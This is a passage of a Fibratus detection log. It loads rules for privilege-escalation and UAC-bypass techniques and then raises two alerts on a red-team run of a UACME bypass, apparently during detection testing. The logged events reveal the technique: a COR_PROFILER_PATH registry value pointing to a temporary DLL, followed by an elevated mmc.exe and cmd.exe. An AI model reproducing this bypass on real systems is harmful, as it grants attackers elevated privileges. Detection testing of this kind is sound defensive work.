+time=2025-12-03T14:22:29+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-03T14:22:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-03T14:22:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-03T14:22:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-03T14:22:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-03T14:22:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-03T14:22:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-03T14:22:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-03T14:22:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-03T14:22:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-03T14:22:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-03T14:22:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-03T14:22:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-03T14:22:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-03T14:22:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-03T14:22:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-03T14:22:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-03T14:22:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-03T14:22:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-03T14:22:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-03T14:22:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-03T14:22:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-03T14:22:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-03T14:22:30+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: false + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: false + HasAuditAPIEvents: false + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Connect, CreateFile, CreateHandle, CreateProcess, LoadImage, RegSetValue source=bootstrap/bootstrap.go:152 +time=2025-12-03T14:22:30+01:00 level=info msg=bootstrapping with pid 13968. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-03T14:22:30+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] systray=>[ quiet-mode=>false enabled=>false sound=>true] mail=>[ content-type=>text/html enabled=>false use-template=>true to=>[] port=>25] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-handles=>false serialize-threads=>false serialize-envs=>true serialize-pe=>false serialize-images=>false] + eventsource .................... [ enable-dns=>false enable-handle=>false stack-enrichment=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-registry=>true min-buffers=>16 enable-net=>true enable-fileio=>true enable-threadpool=>false enable-thread=>true enable-vamap=>true flush-interval=>1s buffer-size=>512 enable-mem=>true enable-image=>true max-buffers=>36 enable-audit-api=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_*.yml] enabled=>true from-urls=>[]] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-age=>0 max-size=>100 log-stdout=>true max-backups=>15 level=>info formatter=>text] + output ......................... [ amqp=>[ tls-insecure-skip-verify=>false url=>amqp://localhost:5672 exchange-type=>topic enabled=>false routing-key=>fibratus timeout=>5s vhost=>/ passive=>false delivery-mode=>transient durable=>false exchange=>fibratus] elasticsearch=>[ index-name=>fibratus healthcheck=>true template-name=>fibratus bulk-workers=>1 servers=>[http://127.0.0.1:9200] healthcheck-interval=>10s healthcheck-timeout=>5s timeout=>5s enabled=>false flush-period=>1s sniff=>false trace-log=>false gzip-compression=>false] http=>[ endpoints=>[] tls-insecure-skip-verify=>false enabled=>false method=>POST timeout=>5s serializer=>json enable-gzip=>false] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-symbols=>false excluded-images=>[svchost.exe] read-resources=>false enabled=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ scan-timeout=>10s excluded-procs=>[] enabled=>false skip-allocs=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] fastscan=>true skip-registry=>false skip-files=>false excluded-files=>[] skip-mmaps=>false] source=bootstrap/bootstrap.go:187 +time=2025-12-03T14:22:30+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-03T14:22:33+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-03T14:22:46+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 3509352 + Pid: 9064 + Tid: 16436 + Type: RegSetValue + CPU: 4 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-12-03 14:22:41.711589 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffffab8691561980, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: 14695981039346656037, rule.name: UAC bypass via .NET Code Profiler DLL Hijack + + Pid: 9064 + Ppid: 15068 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:fa8e9e05-6b13-4530-bd6b-7db690e0961f WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 3514424 + Pid: 12672 + Tid: 16536 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-12-03 14:22:45.3671459 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 2a5914000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffffbb8a5aacb080, name➜ cmd.exe, pid➜ 5132, ppid➜ 12672, real_ppid➜ 12672, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-03 14:22:45.3670715 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.ref: https://attack.mitre.org/tactics/TA0004/, tactic.id: TA0004, tactic.name: Privilege Escalation, rule.seq.link: 14695981039346656037 + + Pid: 12672 + Ppid: 9064 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" eventvwr.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" eventvwr.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-03T14:23:07+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 3522200 + Pid: 7340 + Tid: 7760 + Type: RegSetValue + CPU: 2 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-12-03 14:23:05.3943351 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffffab8691561980, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: rule.seq.link: 14695981039346656037, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, tactic.id: TA0004 + + Pid: 7340 + Ppid: 15068 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} 